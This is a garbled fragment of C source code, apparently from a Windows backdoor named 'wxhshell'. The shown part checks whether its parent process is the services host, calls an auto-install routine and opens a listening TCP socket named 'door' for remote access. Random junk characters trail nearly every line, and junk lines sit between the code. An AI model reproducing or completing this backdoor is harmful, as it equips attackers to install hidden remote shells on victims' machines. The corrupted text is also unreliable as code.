ULONG InheritedFromUniqueProcessId; F/xCG nP-
} PROCESS_BASIC_INFORMATION; '#KA+?@
(<
:mM
PROCNTQSIP NtQueryInformationProcess; A ^-Z)0:
sl% #u9r=
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b24di
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YK7 \D:
),MU+*`
HANDLE hProcess; 48:liR
PROCESS_BASIC_INFORMATION pbi; OCwW@OC +
A0UV+ -PP
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :|zp8|
if(NULL == hInst ) return 0; x<Iy<v7-
IL2e6b
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); k"5`: qL
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); tI"wVr
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); prqyoCfq
>,kL p|gA
if (!NtQueryInformationProcess) return 0; SQKi2\8w
G2=F8kL
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N/(ofy
if(!hProcess) return 0; U
7EHBW
5Ws5X_?d
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -e &$,R>;
]"C| qR*
CloseHandle(hProcess); =.VepX|?D
/L)?> tg
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zoR,RBU6
if(hProcess==NULL) return 0; p
.lu4
<zfO1~^
HMODULE hMod; t) ;
char procName[255]; ,:c:6Y^
unsigned long cbNeeded; dko [
A1mYkG)l
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }m9S(Wal
!&'# a
CloseHandle(hProcess); u4go*#
x&QNP
if(strstr(procName,"services")) return 1; // 以服务启动 BT&rp%NO6l
5wT',U"+
return 0; // 注册表启动 eL>K2Jxq
} 2qt=jz\s
xAR^
// 主模块 ac2}3$u
int StartWxhshell(LPSTR lpCmdLine) tVC@6Z$
{ 0*37D5jH
SOCKET wsl; _K
4eD.
BOOL val=TRUE; _Jf J%YXy
int port=0; /E=h{|
struct sockaddr_in door; }~7H2d);-
OI)&vQ5k
if(wscfg.ws_autoins) Install(); XMjI}SPG
pP?<[ql[w
port=atoi(lpCmdLine); "r5'lQI
}`+O$0A
if(port<=0) port=wscfg.ws_port; {Bav$kw;?e
8Uj68Jl?
WSADATA data; rU/-Wq`B
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Hj}g1"RA
g
@c=Bt$
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; dbf^A1HI
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); a7QlU=\
door.sin_family = AF_INET; 'US:Mr3
door.sin_addr.s_addr = inet_addr("127.0.0.1"); GM34-GH+
door.sin_port = htons(port); Y?"v2~;3
Ri^sQ<